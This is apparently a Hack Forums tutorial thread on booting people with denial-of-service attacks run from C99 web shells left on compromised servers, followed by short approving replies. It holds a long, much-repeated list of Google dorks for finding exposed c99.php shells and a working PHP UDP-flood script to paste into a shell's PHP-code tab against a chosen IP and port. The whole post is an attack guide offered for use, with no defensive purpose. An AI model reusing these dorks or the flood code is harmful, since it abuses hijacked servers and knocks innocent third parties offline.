

Forum:[Hack Forums](#)

Thread: [\[Tutorial\]\[Easy\] How to boot/attack using a C99 shell \(no file uploading required\)](#)

ProUDPacket - November 2, 2011, 6:23 pm

Hello and welcome to this tutorial.

As I just joined this community I felt like making a welcome contribution and post this easy but not very well known method of using c99 shells to perform DoS attacks/boot people.

As you may know there are many C99 shells around that work but don't have the permissions to upload your typical php shell file, which basically seems to make it useless.

However most people seem to forget that there's still a PHP tab included with c99 where you can run your own PHP code, and thus you can still attack using this tab. I'll briefly show you how:

1. Find your typical C99 shell or other equivalents (Islamic Shells whatever other shells there are that basically function the same as C99).

You can use these google dorks for it but you just need to be creative a bit to find working shells.

Code safe-mode: off (not secure) drwxrwxrwx c99shell

inurl:c99.php

inurl:c99.php uid=0(root)

root c99.php

"Captain Crunch Security Team" inurl:c99

download c99.php

download c99.php

download c99.php

inurl:c99.php

inurl:c99.php

allinurl: c99.php

inurl:c99.php

allinurl: c99.php

inurl:"/c99.php"

allinurl: c99.php

inurl:c99.php

inurl:"c99.php" c99shell

inurl:c99.php uid=0(root)

c99shell powered by admin

c99shell powered by admin

inurl:"/c99.php"

inurl:c99.php

inurl:c99.php

inurl:c99.php

c99 shell v.1.0 (roots)

inurl:c99.php

allintitle: "c99shell"

inurl:"c99.php

inurl:"c99.php

allinurl: "c99.php"

inurl:c99.php

intitle:C99Shell v. 1.0 pre-release +uname
intitle:C99Shell v. 1.0 pre-release +uname
allinurl: "c99.php"
inurl:c99.php
inurl:"c99.php"
inurl:"c99.php"
inurl:c99.php
inurl:c99.php
inurl:c99.php
inurl:c99.php
inurl:c99.php
inurl:"c99.php" c99shell
inurl:c99.php
inurl:"c99.php"
allinurl:c99.php
inurl: "/c99.php
inurl:c99.php?
inurl:/c99.php+uname
allinurl:"c99.php"
allinurl:c99.php
inurl:"c99.php"
inurl:"c99.php"
allinurl:c99.php
allinurl:c99.php?
allinurl:c99.php?
allinurl:c99.php?
"inurl:c99..php"
allinurl:c99.php
c99shell [file on secure ok]?
inurl:c99.php
inurl:c99.php
inurl:c99.php
inurl:c99.php
inurl:c99.php
inurl:c99.php
inurl:c99.php
inurl:c99.php
powered by Captain Crunch Security Team
allinurl:c99.php
"c99.php" filetype:php
allinurl:c99.php
inurl:c99.php
allinurl:.c99.php
"inurl:c99.php"
c99. PHP-code Feedback Self remove
allinurl:c99.php
download c99.php
allinurl:c99.php
inurl:c99.php
allinurl: "c99.php"
allinurl:c99.php
allinurl:c99.php
c99shell
inurl:c99.php

inurl:c99.php
intitle:C99Shell v. 1.0 pre-release +uname
allinurl:"c99.php"
inurl:c99.php
inurl:c99.php
inurl:c99.php
inurl:c99.php
safe-mode: off (not secure) drwxrwxrwx c99shell
inurl:/c99.php
inurl:"c99.php"
inurl:c99.php
inurl:c99.php
c99.php download
inurl:c99.php
inurl:"c99.php"
inurl:/c99.php
inurl:"c99.php?"
inurl:c99.php
inurl:c99.php
files/c99.php
c99shell filetype:php -echo
c99shell powered by admin
inurl:c99.php
inurl:c99.php
inurl:"c99.php"
inurl:c99.php uid=0(root)
allinurl:c99.php
inurl:"c99.php"
inurl:"c99.php"
inurl:"/c99.php" intitle:"C99shell"
inurl:"/c99.php" intitle:"C99shell"
inurl:"/c99.php" intitle:"C99shell"
C99Shell v. 1.0 pre-release build #5
inurl:c99.php
inurl:c99.php
--[c99shell v. 1.0 pre-release build #16
c99shell linux infong
c99shell linux infong
C99Shell v. 1.0 pre-release build
!C99Shell v. 1.0 beta!
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
!c99shell v. 1+Safe-mode: OFF (not secure)
"C99Shell v. 1.0 pre-release build "
intitle:c99shell +filetype:php
inurl:c99.php
intitle:C99Shell v. 1.0 pre-release +uname
"Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
intitle:!C99Shell v. 1.0 pre-release build #16! root
!C99Shell v. 1.0 pre-release build #5!
inurl:"c99.php"
C99Shell v. 1.0 pre-release build #16!
c99shell v. 1.0 pre-release build #16

intitle:c99shell intext:uname
allintext:C99Shell v. 1.0 pre-release build #12
c99shell v. 1.0 pre-release build #16
--[c99shell v. 1.0 pre-release build #15 | Powered by]--
allinurl: "c99.php"
allinurl: "c99.php"
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
"c99shell v 1.0"
ftp apache inurl:c99.php
c99shell+v.+1.0 16
C99Shell v. 1.0 pre-release build #16 download
intitle:c99shell "Software: Apache"
allinurl: c99.php
allintext: Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove

Logout

powered by Captain Crunch Security Team
powered by Captain Crunch Security Team
!C99Shell v. 1.0 pre-release build #5!
c99shell v. 1.0 release security
c99shell v. 1.0 pre-release build
inurl:c99.php
c99shell [file on secure ok]?
C99Shell v. 1.3
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
inurl:c99.php uid=0(root)
powered by Captain Crunch Security Team
C99Shell v. 1.0 pre-release build #16
c99shell[on file]ok
c99shell[file on]ok
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
inurl:c99.php
"C99Shell v. 1.0 pre"
=C99Shell v. 1.0 pre-release
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
c99shell v. pre-release build
inurl:c99.php c99 shell
inurl:c99.php c99 shell
powered by Captain Crunch Security Team
inurl:c99.php
inurl:c99.php
!C99Shell v. 1.0 pre-release build #5!
intitle:"c99shell" filetype:php root
intitle:"c99shell" Linux infong 2.4
C99Shell v. 1.0 beta !
C99Shell v. 1.0 pre-release build #
inurl:"c99.php"
allintext:C99Shell v. 1.0 pre-release build #12
"C99Shell v. 1.0 pre"
powered by Captain Crunch Security Team
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
inurl:/c99.php?
allinurl:c99.php

intitle:C99Shell pre-release
inurl:"c99.php"
powered by Captain Crunch Security Team
inurl:c99.php
C99Shell v. 1.0 pre-release build #16!
allinurl:c99.php
C99Shell v. 1.0 pre-release build #16 administrator
intitle:c99shell filetype:php
powered by Captain Crunch Security Team
powered by Captain Crunch Security Team
C99Shell v. 1.0 pre-release build #12
c99shell v.1.0
allinurl:c99.php
"c99shell v. 1.0 pre-release build"
inurl:"c99.php" filetype:php
"c99shell v. 1.0 "
ok c99.php
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
c99shell v. 1.0 pre-release build #16 |
!C99Shell v. 1.0 pre-release build #5!
!C99Shell v. 1.0 pre-release build #5!
allinurl:/c99.php
powered by Captain Crunch Security Team
inurl:c99.php
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
inurl:c99.php
powered by Captain Crunch Security Team
inurl:c99.php
C99Shell v. 1.0 pre-release
inurl:c99.php
inurl:c99.php ext:php
inurl:"c99.php"
allinurl:"c99.php"
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
powered by Captain Crunch Security Team
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout"
C99Shell v. 1.0 pre-release build #16 software apache
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
"c99shell v 1.0"
inurl:"c99.php"
allintitle: C99shell filetype:php
C99Shell v. 1.0 pre-release build #16!
"c99shell v. 1.0 pre-release"
c99shell v. 1.0 pre-release build #5
allinurl:"c99.php" filetype:php
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
!C99Shell v. 1.0 pre-release build #16!
inurl:c99.php
intitle:C99Shell v. 1.0 pre-release +uname
inurl:c99.php
c99shell v. 1.0

```

allinurl: c99.php
--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | ]--
inurl: "/c99.php"
c99shell +uname
c99shell php + uname
c99shell php + uname
--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | ]--
allinurl: c99.php
!C99Shell v. 1.0 pre-release build #5!
C99Shell v.1.0 pre-release
Encoder Tools Proc. FTP brute Sec. SQL PHP-code Update Feedback Self remove Logout
inurl: c99.php
intitle: c99shell filetype: php
"Encoder Tools Proc. FTP brute"
"c99" filetype: php intext: "Safe-Mode: OFF"
c99shell v. 1.0 pre
inurl: c99.php
intitle: c99shell uname -bbpress
intitle: "index.of" c99.php
inurl: admin/files/
intitle: "index of /" "c99.php"
intitle: "index of" intext: c99.php
intitle: index.of c99.php
intitle: "index of" + c99.php
intitle: index/of file c99.php
intitle: index/of file c99.php
index of /admin/files/
intitle: "Index of/" + c99.php
c99.php "intitle: Index of "
c99.php "intitle: Index of "
c99.php "intitle: Index of "
intitle: index.of c99.php
img/c99.php
intitle: index.of c99.php
img.c99.php
intitle: "Index of/" + c99.php
"index of /" c99.php
c99.php
intitle: "Index of" c99.php
"index of" c99.php
"Index of/" + c99.php (Yes I leached this list from another website, but relax it's an example just be
creative with your dorks.)

```

2. After your found your typical C99 shell, go to the PHP-code page:

3. Now you got to paste the PHP script in this field that executes the DoS attack. I'll be using this simple PHP script I wrote up in a minute for this tutorial (simple UDP flood) but feel free to post better scripts in the replies below.

```
Code $ip = "123.123.123.123";
```

```
$port = 80;  
$time = 10;
```

```
///ignore this///  
$max = time() + $time;  
while(1)  
{  
    if(time() > $max)  
    {  
        break;  
    }  
    $fp = fsockopen("udp://$ip", $port);  
    if($fp)  
    {  
        fwrite($fp, str_repeat(".", 6000));  
        fclose($fp);  
    }  
}
```

echo 'Done!';Be sure to replace the ip, port and time variables!

4. Press execute and the attack will initiate. Here's a picture from my VPS:

An impressive 80 Mbit/s for this single shell! When you search around a bit you can find even more powerful shells which beat the crap out of many booters around. I've even managed to find a 1gbit/s c99 shell a while ago.

It's easy and free. Thanks for reading and have fun!

T-rom - November 3, 2011, 4:19 am

thanks for this :)

I actually have some loyk shell dorks

Nordic - December 6, 2011, 4:06 pm

Will i be needing a Proxy or VPN for this?

lionkidd - December 8, 2011, 7:22 am

thanx dude ;D really good to find :D

made a script for this on [->My<-](#) site ;D

HackFox - December 8, 2011, 10:47 am

Give credits to the site you copied the whole article from.

Mr.BBBB - July 14, 2012, 6:54 am

really a good tut .mate like this tut

Burtannia - June 16, 2013, 7:21 am

Good tutorial keep up the good work

InstaTweetGig - June 16, 2013, 8:16 am

yup! Amazing tut! Keep up the good work bro!

Zetix - June 16, 2013, 9:03 am

Thanks for posting this tut, it will be very useful.

pois0ned - June 16, 2013, 12:14 pm

Thanks for the tut! It'll come in handy for me sometime.